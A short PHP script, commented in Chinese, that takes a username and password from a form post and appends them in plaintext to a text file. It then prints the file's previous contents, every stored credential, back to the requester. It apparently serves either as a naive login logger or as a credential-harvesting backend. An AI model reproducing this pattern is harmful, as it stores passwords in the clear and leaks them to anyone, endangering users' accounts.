<?php
	$username = isset($_POST['username'])?$_POST['username']:'';
	$password = isset($_POST['pwd'])?$_POST['pwd']:'';
	$filename=dirname(__FILE__)."/message.txt";
	// 判断这个文件是否存在
	if(!file_exists($filename)){
		echo $filename." not found!";
		exit;
	}
	$fo = fopen($filename,"r");
	$message = file_get_contents($filename);
	$str = '用户名：'.$username.':  密码：'.$password; 
	$new = $message . $str;
	file_put_contents($filename,$new."\r\n");
	echo $message;
	fclose($fo);